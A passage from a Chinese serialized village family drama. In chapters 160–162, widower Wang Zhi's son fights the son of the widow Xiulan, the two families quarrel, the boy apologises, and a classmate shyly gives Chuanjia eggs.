然而,就在他的手刚刚碰到被子的瞬间,王思念突然像触电般地叫了起来:“你走开,别拿你的手碰我娘的被子!” 王知被儿子的反应吓了一跳,他惊愕地看着王思念,一时间有些不知所措。 “你说什么?”王知回过神来,皱起眉头问道。 王思念却根本不理会他,只是用被子把自己裹得更紧了,嘴里还不停地念叨着:“你出去……” 这时,黄珍珠连忙走了进来,拉出去了王知:“我忘记告诉你,别动他的被子了!这些年你总是喝酒睡觉,孩子长这么大,唯一的安慰就是他娘生前盖过的被子,那被子我洗他都不愿意洗的,更不让任何人摸,那是属于他自己的!” 王知低垂着头,满脸懊悔和自责,他轻声说道:“是儿子的错,儿子这些年确实疏忽了他……” 黄珍珠看着王知,心中也是无奈,她叹了一口气,感慨地说:“要是秀秀还活着就好了!” 沉默片刻后,黄珍珠继续说道:“你想做什么我不管,但是最起码得思念也同意才行啊!” 王知点了点头,表示自己明白母亲的意思,然后低声回应道:“我知道了。” 第二天清晨,阳光洒在田野上,一片生机勃勃的景象。王知远远地就看到秀兰和云义带着几个孩子们在昨日的那片田地里忙碌着。他没有丝毫犹豫,快步朝他们走去。 云义远远地看到王知走过来,嘴角露出一丝戏谑的笑容,高声喊道:“哟,你又来了?不怕像昨天一样累吗?” 王知并没有回应云义的调侃,他的目光径直落在秀兰身上。只见秀兰只顾埋头忙碌,似乎根本没有注意到他的到来。王知见状,迈步走到秀兰身边,轻声说道:“我来帮你吧。” 秀兰连忙摆手说道:“不用啦,我们自己家的地,怎么能让你来帮忙呢!” 云义却在一旁嘲讽道:“大嫂,你看看这小子,简直弱不禁风啊!昨天才几分钟的功夫,就累得满头大汗,让他来,怕是撑不了多久就得回家歇着去咯!” 他的话引得几个孩子也跟着哄堂大笑起来。 王知听到这些话,不禁感到有些羞愧难当,他低着头,根本不敢抬起头来看秀兰一眼,生怕看到她那略带责备的目光。 就在这时,一个声音突然从背后传来:“爹,你是不是走错路啦?你忘记咱家的田不在这边吗?” 王知猛地回头一看,原来是王思念不知何时跟了过来。 王思念的这一句话,让云义和那几个孩子笑得更加厉害了,仿佛听到了世界上最好笑的笑话一般。 王知的脸涨得通红,他急忙解释道:“瞎说什么呢?!我就是来给……” 然而,他的话还没说完,就被王思念毫不留情地打断了:“哼,你要是不走,以后就别回家了!”说完,王思念头也不回地转身离去,留下一脸惊愕的王知站在原地。 王知默默地注视着儿子渐行渐远的背影,心中涌起一股难以言喻的失落感。 云义看向王知,他的声音中充满了嘲讽和不屑:“你还不赶快回去!你儿子可都已经那样说了!” 秀兰也随声附和道:“是啊,我们家这么多人,根本不需要你来帮忙的!你还是赶紧回去吧!”说完,她便继续埋头忙碌起来,似乎完全没有把王知放在眼里。 王知张了张嘴,想要说些什么,但喉咙却像被什么东西堵住了一样,发不出声音。他呆呆地站在原地,看着秀兰忙碌的身影,心中的苦涩愈发浓烈。 过了一会儿,襁褓里的传美突然又哭了起来,哭声在寂静的空气中显得格外刺耳。云义见状,连忙对秀兰说道:“大嫂,你先带着传美回家去吧,这里也没多少活了,有传家传业在帮忙,很快就能忙完了!” 秀兰停下手中的活计,看了看四周,觉得云义说得也有道理,于是点了点头,抱起孩子准备回家。 王知见状,终于忍不住开口道:“秀兰,我……” 然而,他的话还没说完,秀兰就已经抱着孩子转身离去,留下王知一个人在原地,望着她渐行渐远的背影,心中充满了无奈和惆怅。 王知又将目光投向了不远处的儿子,王思念正站在那里,一脸幽怨地盯着他看。儿子那有些不开心的面庞上,似乎隐隐约约能看到一些姚秀秀的影子。 没错!随着时间的推移,王思念逐渐长大,他的面容竟然与他的母亲有几分相似之处! 王知缓缓地朝着王思念走去,轻声说道:“我们回家去吧!” 然而,王思念却并不领情,他没好气地回答道:“怎么?不去帮忙了?还是别人不欢迎你?”话音未落,他便气鼓鼓地站起身来,转身朝着自己田地的方向走去。 王知见状,并没有多说什么,只是默默地跟在王思念的身后。 过了一小会儿,王思念突然停下了脚步,他转过身来,一脸不满地对王知说:“你看看,咱家自己的地里草都长得这么深了!你还有心思去帮别人!你知不知道,这些年来,我们家都快被村里人笑话死了!” 王知缓缓地抬起头,目光穿过茂密的杂草丛,落在了不远处的母亲身上。只见母亲独自一人,身体微微佝偻着,正一点一点地忙碌着,那略显单薄的身影在风中显得有些摇摇欲坠。 王思念见状,连忙快步走了过去,主动帮着奶奶一起干活。 看着眼前这一老一小共同劳作的场景,王知心中的愧疚感如潮水般涌上心头。他不禁自责起来,自己作为家中唯一的孩子,却让年迈的母亲如此辛苦地劳作,实在是不应该啊! 于是,王知毫不犹豫地加快脚步,径直走向母亲,关切地说道:“娘,您别太累着了,你回家歇息着吧,这些活还是让我来干吧!” 黄珍珠听到儿子的话,停下手中的活计,抬起头来,脸上露出一丝微笑,温柔地回答道:“没事儿的,孩子,趁我还能干得动,能干一点是一点。” 第160章 打架了 王思念在一旁附和道:“奶奶,您就听我爹的吧,您这腿不是还疼着呢嘛!他一个大男人,干点活不是很正常的嘛!您就放心回家去吧。” 黄珍珠犹豫了一下,最终还是点了点头,缓缓地站起身来,拍了拍身上的尘土,说道:“那好吧,那我就先回去了。等下天热了,你们就早些回来!” 此时,空旷的田地里只剩下父子二人在辛勤地劳作着。阳光洒在他们身上,映照出两个忙碌的身影。 和昨天一样,没过多久,王知便感到疲惫不堪,一屁股坐在田埂上,大口喘着气。他抬起头,目光越过庄稼,落在了王思念的身上。 而此时的王思念,手脚却非常麻利。他动作熟练,迅速而准确,一看就是经常帮忙干活的孩子。相比之下,他这个做父亲的却显得有些力不从心。 王思念回过头,看到父亲坐在那里休息,心中不禁叹了口气。他望向父亲,轻声说道:“爹,你要是实在累了,就先回去吧。我一个人能行的。” 王知听到儿子的话,心中突然有些惭愧。他看着眼前这个懂事的孩子,意识到他已经在不知不觉中长大了。然而,作为父亲,他却无法像儿子那样轻松地应对这些农活。 “我没事的!”王知勉强挤出一丝笑容,“我只是稍微歇一会儿,等会儿就好。”说着,他缓缓站起身来,继续埋头苦干。 王思念已经不小了,他看得明白,父亲心里在想些什么,他从未见到过父亲像这些日子一样像个正常人!他一方面心里有些开心,他的父亲终于不再是那个浑浑噩噩,整日只知道喝大酒的人了,另一方面,他看得出来,父亲最近的不太正常,可能与李家沟的那个女人有关!他看得出来爹喜欢那个女人,想到这里,他的心里有一些莫名的恼怒! 第二天,阳光依旧明媚。秀兰的大儿子传家像往常一样背着书包走在放学的路上。突然,一个身影出现在他面前,挡住了他的去路。传家定睛一看,原来是王思念。 传家一脸疑惑地看着王思念,不耐烦地问道:“你这是要干什么?” 王思念则毫不示弱地回怼道:“不干什么,我就是想麻烦你回去告诉你娘一声,别以为我爹跑去给你们帮忙,我就会让她做我的娘!” 传家觉得王思念简直不可理喻,怒气冲冲地吼道:“神经病!让开!” 然而,王思念并没有被传家的气势吓倒,他依然不依不饶地追问:“你到底有没有听到我说的话!” 传家冷哼一声,不屑地回答:“第一,我有爹!第二,我娘根本就看不上你爹那种窝囊废!所以,你最好给我让开,别挡着我的路!” 王思念一听,顿时火冒三丈,他怒不可遏地反驳道:“你爹都已经不在了,这才去世多久啊,我爹就被你娘勾搭得天天去你们家田里帮忙了……” 还没等王思念把话说完,传家就生气的破口大骂:“我呸,就你爹那种烂泥扶不上墙的货色,一点用没有,还非要死皮赖脸地去给我们家帮忙,我都觉得他丢人现眼,更何况是我娘!我劝你们还是有多远滚多远,少在这里纠缠不休,不然可别怪我对你不客气!” 王思念听了这番话,顿时怒不可遏,他瞪大了眼睛,对着传家怒吼道:“你说谁没用?” 传家见状,不仅没有退缩,反而更加嚣张地回怼道:“我说的就是你们,谁不知道你一生下来就没了娘,外面可都在说,就是你们父子俩把你娘给克死了!” 这句话犹如一把利剑,直插王思念的心窝,他再也无法忍受这样的侮辱,怒发冲冠地吼道:“你找死!”话音未落,他猛地挥起拳头,直直地朝着传家的脸上砸去! 传家的脸上顿时红了一片,他被这突如其来的一拳打得有些发懵,身体不由自主地向后退了几步。 就在这时,李佳华恰巧路过,看到这一幕,他急忙跑过来,对着王思念喊道:“你谁啊?敢打我好兄弟……” 然而,还没等李佳华把话说完,传家又猛地扑向王思念,与他厮打在一起。 李佳华见状,也毫不犹豫地加入了战局,和传家一起对付王思念。 一时间,打骂声一片混乱。尽管王思念奋力抵抗,但终究寡不敌众,被传家和李佳华打得鼻青脸肿,倒在地上。 不过,传家和李佳华也并没有占到多少便宜,他们的脸上也都有大大小小的伤痕,看上去也有些狼狈。 回到家里,秀兰一脸关切地迎了上来,看着传家脸上的伤,焦急地问道:“传家,你这是怎么了?你跟人打架了吗?怎么伤成这样?” 传家低着头,一言不发,只是默默地把脸扭向一边,似乎不想让母亲看到他的伤势。 这时,云义也走了过来,他看着传家,皱起眉头说道:“传家,你娘在问你话呢!” 佳华连忙插嘴道:“这不怪传家,要怪就怪王家村那小子!那小子突然就动手了,我们都还没反应过来呢!” 云义一听,顿时火冒三丈,他瞪大眼睛,怒气冲冲地说:“王家村,哪个小子?竟然都敢欺负你们两个,不行,我们得去找他们去!” 传家却摇了摇头,他抬起头,看向母亲,缓缓地说:“娘,以后别再跟王家那个人来往了……” 秀兰一脸疑惑,她不知道传家说的“王家那个人”到底是谁,于是追问道:“王家?传家你说的是哪个人啊?” 传家一脸愤愤不平地说道:“不就是那个非要说给咱们家帮忙的人嘛!今天他儿子跑来找我,还说了一大堆难听的话!” 秀兰听后,眉头紧紧地皱了起来,显然对传家所说的话感到十分困惑。她实在是没有想到,自己从没接受过别人的帮忙,怎么别人的儿子还跑来找自己儿子的麻烦了,下次再见到那个人,非要好好骂他一顿不可! 这时,云义突然插话问道:“你是说,那天那小子今天居然动手打了你们?”传家默默地点了点头,表示肯定。 接着,云义斩钉截铁地说:“既然是他们先动的手,那我们现在就去他们家,找他们家讨个说法!” 佳华有些尴尬地笑了笑,连忙摆手道:“不用了吧,云义叔!我觉得这样不太好……” 然而,云义却不以为然,他坚持道:“什么用不用的!就是要让那小子知道,他以后绝对不能再随便欺负你们!” 佳华犹豫了一下,有些尴尬地说道:“其实……他一个人是绝对打不过我们两个人的……我们脸上的伤只是因为完全没有预料到他会突然动手,所以才会受伤的……” 佳华顿了一下,接着又说道:“而且……他受的伤可比我们严重多了呢!” 秀兰一听,脸色瞬间变得十分难看,她惊讶地问道:“你们俩还把别人给打伤了?” 佳华连忙解释道:“婶子,这真的不能怪我们啊!明明就是那小子先动手的,我们总不能站在那里让他打吧?所以我们肯定要还手啊!” 秀兰的眉头紧紧地皱了起来,她严肃地说道:“下次,离他们家远些就是了!不管怎么样,打架总归是不对的……” 云义在一旁插嘴道:“我倒是觉得你们做得没有错,那种不懂事儿的臭小子,就应该好好教育一下!” 秀兰的眉头皱得更紧了,她似乎陷入了深深的思考之中,一时之间没有说话。 而另一边,王思念顶着一脸的伤,心情沉重地回到了家中。 王思念刚刚走到家门口,他的奶奶像一阵风一样飞奔出来,嘴里还念叨着:“哎呀呀,我的乖孙儿,这是咋回事啊?谁把你打成这样了?简直太不像话了!” 王思念站在原地,有些不知所措。他其实早就想好了要怎么跟奶奶说这件事,但是真到了要说出口的时候,却又不知道该从何说起。 不过,当他看到奶奶如此生气的样子时,心中不禁暗喜:对啊,如果能让奶奶也彻底讨厌他们家,那爹肯定就不会再总是跑去他们那里了吧! 想到这里,王思念灵机一动,故意用力地揉了揉自己的眼睛,让眼眶里的泪水看起来更加明显一些,然后带着哭腔说道:“奶奶,就是李家沟那小子他们打得我!” 黄珍珠一听这话,顿时瞪大了眼睛,满脸生气地问道:“什么?李家沟的孩子打你做什么?” 王思念一边抽泣着,一边委屈地说道:“他们嘲笑我没有娘……” 黄珍珠一听这话,气得浑身发抖,她二话不说,拉起王思念的手就往门外走去,嘴里还嚷嚷着:“走,可不能就这么算了,一定得去找他们理论理论!我带你找他们去!怎么都得让他们给个说法!” 王思念见状,心中暗自窃喜,他连忙跟在奶奶身后,一老一小就这样气势汹汹地朝着李家沟的方向走去…… 祖孙两个走在路上,朝着秀兰的家走去,正巧经过了文孝家的院子。 此时,唐小雨正在院子里教训佳华,责备他不应该在外面跟人打架。 佳华站在那里,一脸委屈地解释道:“娘,不是我要打架的,是那个小子二话不说就动手打传家,我看到了当然不能不管啊,所以我才帮忙去打他的!” 唐小雨正准备说些什么,佳华却突然指向另外一边:“娘,就是那小子先向传家动手的!” 唐小雨听了儿子的话,顺着他手指的方向看去,果然看到王思念和他奶奶一前一后地走着,而且看起来他们经过了自己家朝着村里走去。 佳华见状,立刻猜测道:“娘,你看他们的样子,会不会是去找传家麻烦的!” 唐小雨心里也有些好奇,便对佳华说:“走,咱们也跟着去看看去!”于是,母子俩就也跟在王思念和他奶奶的身后,想要一探究竟。 果然不出所料,王思念祖孙二人风风火火地赶到秀兰家门口,二话不说便开始拼命地拍打起门来,那拍门的声音震耳欲聋,仿佛要把门拍烂一般。 说时迟那时快,唐小雨眼疾手快,一个箭步冲上前去,迅速地将那位老妇人拉到了一旁,生怕她会吵到里面的人。 唐小雨关切地问道:“这位大娘,您找这家人有什么事情吗?您别着急,有什么话慢跟我说也一样的。” 黄珍珠一脸怒容,没好气地回答道:“你又是谁啊?我告诉你,这家的小子把我孙子给打了,我今天就是来找他们讨要个说法的!” 王思念也在一旁附和道:“奶奶,就是他们俩一起打的我!”说着,他还特意指了指站在唐小雨身旁的李佳华。 黄珍珠见状,更加生气了,她瞪大眼睛,怒不可遏地吼道:“好哇,原来你们两家人是早就商量好了的吧?你们就是故意欺负我孙子的吧?!” 就在这时,云义听到外面的吵闹声,赶忙打开了门。他一见到唐小雨,便惊讶地问道:“小雨嫂子,你怎么在这儿啊?” 唐小雨刚要开口,只见黄珍珠掐着腰站在门口,生气地说道:“我找的就是你们!你家孩子呢?快给我出来!把我们家孩子打成这样,还有没有天理了?你们也太欺负人了吧!” 佳华见状,连忙反驳道:“明明是他先动手打传家的!你们怎么能颠倒黑白说我们欺负你们呢?” 就在双方争执不下的时候,家里的其他人听到吵闹声也纷纷走了出来。传家看到这一幕,更是气愤不已,他指着王思念说道:“你还有脸找上门来?明明是你先动手打人的,我们都还没去找你算账呢,你们倒好,自己还送上门来了!” 黄珍珠此时气得浑身发抖,她死死地盯着传家,怒吼道:“怎么,当着我的面,你还敢再动我孙子一下试试?” 王思念毫不示弱地迎上了传家的目光,他的眼神中充满了挑衅和不屑。 第161章 相似? 秀兰见状,连忙上前劝解道:“这位大娘,您先别生气,有些事情我们是不是还要问明白原因……” 然而,黄珍珠根本不听秀兰的解释,她打断了秀兰的话,怒气冲冲地说:“我不管你什么原因,你们就是欺负了我孙子!就得给我孙子道歉!” 佳华也不甘示弱,他大声反驳道:“那你孙子还欺负我了呢?你们是不是也要跟我道歉!” 云义在一旁冷静地说道:“大娘,孩子之间打打闹闹我觉得很正常,何况还是您家孩子先动的手,难道说,我们还不能还手吗?”他的语气虽然温和,但却带着一种不容置疑的坚定。 黄珍珠的目光直直地落在王思念身上,她的声音带着些许质问的意味:“你说,到底是不是你先动的手?” 王思念的嘴唇抿得紧紧的,似乎在努力克制着内心的情绪。过了一会儿,他终于抬起头,眼神坚定地看着黄珍珠,说道:“是他说我克死了我娘,我才打他的!”说着还用手指,指向了传家。 秀兰的脸色变得有些凝重,她转头看向传家,问道:“传家,你真的说了这样的话?” 传家的脸上露出一丝心虚,他不敢与秀兰对视,他看向了王思念,反驳道:“明明……明明就是你突然拦住了我的路,先说的那些难听话!” 云义在一旁皱起了眉头,他追问道:“他都说了什么?” 传家的喉咙滚动了一下,他支支吾吾地,似乎有些难以启齿。众人的目光都集中在他身上,让他感到有些压力。 秀兰看出了传家的为难,她柔声安慰道:“没事的,孩子。娘不怪你,你就当着大家的面说出来。” 传家抬起头,看了看秀兰,又看了看周围的人,眼神中依然有些犹豫。佳华在一旁也有些着急,她忍不住催促道:“传家,你倒是说啊……” 黄珍珠怒气冲冲地指着传家说道:“你看,你们家孩子他自己都说不出来为什么,还说不是在欺负我们家思念!”她的声音在空气中回荡,充满了愤怒和不满。 传家站在一旁,低着头,终于忍不住了,有些局促不安地解释道:“是他说,我爹才走没几天,我娘就勾引他爹……” 然而,他的话还没说完,就像一道惊雷一样,在在场的所有人心中炸开。这句话让大家都惊呆了,一时间,整个场面陷入了死一般的寂静。 王思念突然插话道:“我说的没错,就是因为你!我讨厌你!你离我爹远一些!”他的声音中带着一丝哭腔,手直直得指向秀兰的方向,显然非常愤怒。 秀兰听到眼前的孩子这样说,觉得莫名其妙。她瞪大了眼睛,顾不得其他,生气地朝着王思念甩了一巴掌,然后说了一句:“滚出我家!”转身快步走进了屋子里,“砰”的一声关上了门。 传家见状,心中一紧,他不放心母亲,连忙也跟着走进了屋子。 王思念则捂着脸,泪水在眼眶里打转。黄珍珠见状,心疼地走过去,对着屋里喊道:“你这个妇人到底怎么回事儿,我孙子还是个孩子,你一个大人怎么能欺负一个孩子呢?”她的语气中充满了责备和不满,还想要跑进屋去要个说法! 就在这时,云义突然拦住了黄珍珠的去路,他一脸怒容地说道:“这位大娘,你是不是也该好好教育一下你的孙子,让他别再胡乱说话了!还有,你也要教育好你的儿子,离我们家远一点!如果再有下一次,可就不只是一巴掌这么简单了!” 唐小雨见状,狠狠地白了黄珍珠一眼,毫不客气地回应道:“哼,真是恶人先告状!也不想想自己有没有问题,就知道找别人家的麻烦!” 云义却并不示弱,他冷笑一声,继续说道:“是啊,我们两家可从来没出过像你们家那种嗜酒如命的男人,更不会欢迎一个酒鬼再来我们家,我们还怕影响了孩子呢!果然是上梁不正下梁歪,我看你还是赶紧回去管好你的孩子们吧!” 黄珍珠被气得脸色发青,嘴唇哆嗦着,却一句话也说不出来。一旁的王思念见状,连忙拉住奶奶的手,轻声说道:“奶奶,我们回家去吧,别跟他们一般见识。” 云义一脸怒容地指着王思念,厉声道:“你这臭小子,以后要是再敢信口胡诌,小心我把你的嘴给撕烂!” 黄珍珠站在一旁,如梦初醒般地意识到,原来这一切都是因为思念这个孩子,竟然主动去找人家的孩子乱说一通。她不禁心中暗暗叫苦不迭。 黄珍珠无奈地叹了口气,脚步沉重地转身往回走去。她的步伐显得有些踉跄,仿佛全身的力气都被抽走了一般。她一边走着,一边默默地思考着刚才发生的事情,心中越发觉得不是滋味。 尽管他们说的话确实有些难听,但不可否认的是,这些话却像一把利剑一样,直直地刺进了黄珍珠的心里。她开始对自己产生了一丝怀疑,难道真的是自己做错了什么吗?难道真的是自己的原因?养了个儿子天天泡在酒缸里耗费了半生…… 她感到无比沮丧和失落,仿佛自己的人生充满了失败。 王思念看着奶奶那副忧心忡忡的模样,心中一阵酸楚,连忙关切地问道:“奶奶,您怎么了?您没事吧?” 黄珍珠深深地叹了一口气,缓缓说道:“思念啊,假如有一天奶奶不在了,你会和你爹好好地生活下去吗?” 王思念一听,立刻紧紧握住奶奶的手,坚定地说:“奶奶,您别胡思乱想,您一定会健康长寿的!您不是还说要看着我娶妻生子吗?所以您一定要健健康康的啊!” 黄珍珠微笑着看着王思念,眼中闪过一丝欣慰,但随即又望向远方的天空,深深的叹了一口气:“哎,就是不知道以后见到你爷爷,他会不会怪我?!” 王思念顺着奶奶的目光看去,只见天空中飘荡着几朵洁白的云彩。 两人沉默了片刻之后。王思念突然轻声问道:“奶奶,你说,我爹他当初真的喜欢我娘吗?” 黄珍珠完全没有预料到王思念会突然问出来这样一个问题,这让她有些猝不及防,一时间竟然愣住了,完全不知道该如何回应。 沉默在两人之间蔓延开来,过了好一会儿,黄珍珠才回过神来,小心翼翼地问道:“思念,你怎么会……突然这么问呢?” 王思念的脸上露出一丝困惑和不满,他缓缓说道:“因为从小到大,我爹他不是在喝酒,就是在睡觉。我最大的愿望就是他能像别人的爹一样正常,可是最近好不容易看到他稍微正常了一些,可我却发现他总是去找李家沟的那个女人,有时候他还远远的望着都好像很开心,而且每次都完全无视我的存在……” 黄珍珠心中暗惊,她没有想到王思念竟然如此敏锐地察觉到了这些。 王思念接着说道:“所以……我爹他怎么会突然间变成这样呢?你们不是一直都说,是因为我娘的突然离世才让我爹伤心欲绝,每天借酒消愁吗?” 黄珍珠面对这个问题,感到有些难以启齿。她犹豫了一下,思考了好一会儿,才吞吞吐吐地说道:“兴许……兴许是因为那个女人跟你娘长得有些相似吧,你爹他……” 王思念瞪大眼睛,满脸不可置信地问道:“你是说,她长得像我娘?” 黄珍珠的这句话仿佛一道闪电划破夜空,照亮了他那一直以来被黑暗笼罩的心。因为自他出生以来,就从未见过母亲的模样,所以对于母亲的长相,他只能在心中凭空想象。 如今,当他听到奶奶说那个女人长得像他娘时,他的内心瞬间涌起一股难以言喻的激动。他的眼神中似乎突然充满了光亮,仿佛那是他长久以来一直渴望的东西终于出现在了眼前。 祖孙两人默默地回到家中,王知一推开门,便看到了一脸不悦的母亲和满脸伤痕的儿子。 王知快步走到儿子面前,关切地问道:“你这是怎么回事?跟人打架了?” 然而,还没等王思念回答,一旁的黄珍珠就怒不可遏地喊道:“你还好意思说!还不是因为你!” 王知被母亲这突如其来的一吼,弄得有些发懵,他完全不明白母亲说的是什么意思。 正当他准备开口解释时,王思念却突然插话问道:“爹,李家沟那个女人真的跟我娘长得很像吗?” 王知闻言,不由得一怔,他没想到儿子会突然问起这个问题。 他看着王思念那充满期待的眼神,犹豫了一下,轻声问道:“你怎么会这么问?” 王思念低下头,喃喃自语道:“我看得出来,爹喜欢那个女人,我已经不小了,我懂的!我就是想问一句,那个女人真的长得像我娘吗?” 王知满脸狐疑地看着母亲,开口问道:“娘,是不是你跟思念说的这些啊?” 黄珍珠张了张嘴,似乎想要解释些什么,但最终只是无奈地叹了口气,终究还是什么都没有说出来。 王思念在一旁嘟囔了一句:“我知道啦!”然后头也不回地走进了自己的房间,“砰”的一声关上了门。 王知见状,越发觉得事情有些不对劲,他快步走到母亲面前,焦急地追问:“娘,这到底是怎么一回事啊?您快告诉我吧!” 黄珍珠看着儿子,面露愁容,缓声道:“孩子啊,你以后还是别再去李家沟了,你看看思念都被打成什么样子了!” 王知一听,顿时瞪大了眼睛,难以置信地说道:“这跟思念有啥关系啊?娘,您把话说明白点儿行不行?” 黄珍珠又是一声叹息,她实在是不想再跟儿子争辩下去了,索性站起身来,也走进了屋子里,留下王知一个人在原地发愣。 王知犹豫了一下,本来还想去问问思念到底发生了什么事情,可就在他走到思念房门前时,忽然听到里面传来一阵隐隐约约的哭泣声。他心里“咯噔”一下,心想难道是思念受了什么委屈?再仔细一听,那哭声中似乎还夹杂着对母亲的思念之情。 再说秀兰这边,秀兰独自一人坐在床头,怀里紧紧抱着云亭生前穿过的衣服,泪水像决堤的洪水一般源源不断地从她的眼眶中涌出。 她的内心充满了痛苦和哀伤,无法接受云亭已经离她而去的事实。而更让她无法忍受的是,云亭才刚刚离开她不久,竟然就有人说出如此难听的话来伤害她! 秀兰紧紧地抱着云亭的衣服,仿佛那是她与云亭之间最后的联系。她紧闭着双眼,仿佛能闻到衣服上残留的云亭的气息,那是一种温暖而熟悉的味道,让她感觉云亭似乎还在自己身边一样。 就这样,秀兰沉浸在对云亭的思念和回忆中,云义看到了这一幕,默默的叫走了孩子们,他知道嫂子现在的心情很不好。 第二天清晨,阳光透过窗户洒在秀兰苍白的脸上,她缓缓睁开双眼,却发现自己的心情并没有因为新的一天到来而有所好转。 就在这时,一阵急促的敲门声突然响起,打破了清晨的宁静。秀兰有些不情愿地从床上爬起来,拖着疲惫的身体走到门口,打开了门。 当她看到门外站着的人是王知时,心中的怒火瞬间被点燃。她满脸怒容地对王知说道:“怎么,昨天我扇了你儿子一巴掌,今天你是来找我麻烦的吗?我劝你还是离我家远一些,你不要脸我还要呢!” 王知显然没有预料到秀兰怎么突然间会如此激动,他愣了一下,然后有些疑惑地问道:“是你打了思念?” 秀兰一脸严肃地看着眼前的男人,毫不留情地说道:“你还是快点走吧,以后别再出现在我家附近了,省得你儿子又到处乱嚼舌根!我丈夫虽然已经不在了,但我还有几个孩子需要照顾,我是个女人,你应该知道名声对我来说多么重要!请你以后都离我们家远一些!”话音未落,她便迅速关上了房门,似乎生怕对方会继续纠缠。 第162章 葫芦里卖的什么药 王知站在门外,脸上露出惊愕和不解的表情。他实在想不明白,仅仅一天没见,秀兰的态度为何会有如此大的转变。要知道,之前她虽然对自己算不上热情,但至少还不至于像现在这样将他拒之门外啊! 心中充满疑惑的王知,缓缓转身,迈着沉重的脚步离开了秀兰家。一路上,他都在苦苦思索着这其中的缘由,可始终想不出个所以然来。 回到家中,王知像失去了灵魂一般,落寞地坐在院子里,目光空洞地凝视着远方,脑海中不断闪现着秀兰决绝的话语和冷漠的神情。 此时,王思念却做出了一个让人意想不到的举动——他又独自一人前往了李家沟。 当他来到秀兰家门口时,犹豫了一下,最终还是轻轻地敲响了那扇紧闭的房门。 不一会儿,传家走过来打开了门,见到是王思念,他的脸色瞬间变得阴沉下来,没好气地说道:“怎么是你?怎么,难道还想再打一架不成?” 面对传家的质问,王思念连忙摆了摆手,解释道:“不是的,我是……我是特意想来跟你娘道歉的。” 传家瞪大了眼睛,满脸狐疑地看着王思念,似乎对他所说的话充满了怀疑,“你说的是真的?” 王思念见状,连忙郑重地点了点头,以表示自己的诚意。 传家见状,心中的疑虑并未消散,反而愈发强烈,他暗自嘀咕道:“这小子到底在打什么算盘?葫芦里卖的究竟是什么药?” 就在这时,传业突然高声喊道:“娘,王家那小子说来给您道歉!” 秀兰听到喊声,从屋里走了出来。她看着站在门口的王思念,脸上露出一丝惊讶。 王思念见状,赶忙上前一步,低头说道:“对不起,我知道错了,我向您道歉,我不该那么说的!” 秀兰看着王思念诚恳的样子,问道:“是你爹让你来给我道歉的?” 王思念摇了摇头,说道:“不是他,是我自己要来给您道歉的……” 秀兰缓了一口气,说道:“既然你道歉了,我也就原谅你了!不过,以后可不要再乱说话了!” 王思念连连点头,“我知道了,我以后一定会注意的……其实,我还有个事儿,想要问你一下!” 秀兰一脸疑惑地看着王思念,心里暗自琢磨着这个孩子怎么会突然问这样的问题。她眨巴着眼睛,迟疑地回答道:“什么事儿啊?” 王思念似乎有些紧张,他的手不自觉地摆弄着衣角,犹豫了一下才开口:“我想问,你……认识我娘吗?” 秀兰听到这个问题,先是一愣,然后摇了摇头,语气坚定地说:“我不认识,也从来没见过你娘!” 王思念的脸上露出了明显的失望,他默默地低下了头,像是被泼了一盆冷水。过了一会儿,他才缓缓地应了一声:“哦……”然后转身静静地离开! 秀兰看着眼前这个孩子,心中不禁涌起一股同情。她能感觉到王思念对母亲的渴望和思念。然而,秀兰确实对他的母亲一无所知,这让她有些无奈。 第二日清晨,阳光透过树叶的缝隙洒在上学的小路上,形成一片片斑驳的光影。传家像往常一样,背着书包走在这条熟悉的道路上。 突然,一个身影突然从后面跟了上来。传家定睛一看,原来是同班同学王梦琴。她一脸关切地看着传家,指着他的脸问道:“李传家,你脸上这伤痕是怎么回事?” 传家被这突如其来的问题问得有些措手不及,他下意识地摸了摸自己的脸颊,然后有些不好意思地回答道:“没……没什么!” 就在这时,站在一旁的李佳华插嘴道:“哎哟,看看你俩,打情骂俏呢……”他的话还没说完,就被传家狠狠地瞪了一眼。 李传家和王梦琴的脸“唰”的一下都红了起来,传家故作凶狠地对李佳华说:“李佳华,你这破嘴,看我不打你!”说着,他举起手,作势要打。 李佳华见状,赶紧识趣地跑开了,边跑还边喊:“我可什么都没说哦!” 传家看着李佳华远去的背影,无奈地摇了摇头,然后转过头来对王梦琴说:“王梦琴,你别听李佳华胡说八道!” 王梦琴微微一笑,没有说话。她的目光落在传家的身上,似乎想要说些什么,但最终还是没有开口。 过了一会儿,王梦琴像是想到了什么,突然伸手从口袋里掏出一个鸡蛋,迅速塞进了传家的手里。然后,她像是做了什么亏心事一样,转身就跑掉了,只留下传家一个人站在原地,摸着手里的鸡蛋,一脸惊愕。 传家突然大喊一声:“王梦琴,你这是做什么?鸡蛋还给你!”他一边喊着,一边想要追上去还给她! 王梦琴听到传家的喊声,脚步微微一顿,但并没有停下。她回头看了一眼传家,嘴角露出一抹微笑,轻声说道:“那就是送给你的,你就吃了吧!”说完,她转过身,像一只轻盈的蝴蝶一样,继续迈着轻快的步伐向前跑去。 传家皱起了眉头,望着王梦清渐行渐远的背影,感受着手心里的那颗鸡蛋传来的那股暖流,他有些不太明白,为什么她会突然送给自己一颗鸡蛋。 就在这时,传业突然从传家的背后冒了出来,他笑嘻嘻地对传家说:“大哥,你看得这么出神呢?!” 传家被传业的突然出现吓了一跳。传业一脸好奇地看着传家,笑嘻嘻地说道:“大哥,我刚才可都看到啦!那个姑娘送了你这个鸡蛋,她到底是谁呀?难道是我未来的嫂子不成?” 传家被传业这么一问,顿时有些尴尬,他连忙朝着传业的脑袋轻轻拍了一下,嗔怪道:“你这小子,别胡说八道!人家就是我的同学而已,你别胡乱说话!” 然而,传业却不以为然,他摸着自己被拍的脑袋,嘟囔着说:“同学……我怎么就没有同学送我一个鸡蛋吃呢?我看呐,那个姑娘肯定是喜欢你,不然怎么会送给你一个鸡蛋呢?” 传家有些尴尬地把鸡蛋塞进了传业的手中,说道:“给你,闭上你的嘴巴,别再乱说话了!” 传业接过鸡蛋,开心地笑了起来,他连忙说道:“谢谢大哥,我绝对不会告诉娘的!” 传家瞪了传业一眼,抬手在他的头上又轻轻拍了一下,没好气地说:“就知道吃!” 然后,两人继续并肩向前走去,身影在阳光的照耀下,显得格外和谐。 令人意想不到的是,第二天,王梦琴竟然又送给传家了两颗煮熟的鸡蛋,而且还是用一块碎花布包着的。 放学铃声响起后,传家快步走到王梦琴面前,轻声说道:“王梦琴,你等我一下!” 王梦琴闻言,不禁有些害羞地低下头,脸上泛起一抹淡淡的红晕,然后微微点了点头,表示同意。 每日与王梦琴一起同行的还有一个女孩子,她名叫王文慧。王文慧是王春阳的女儿,也就是王春芬的侄女。 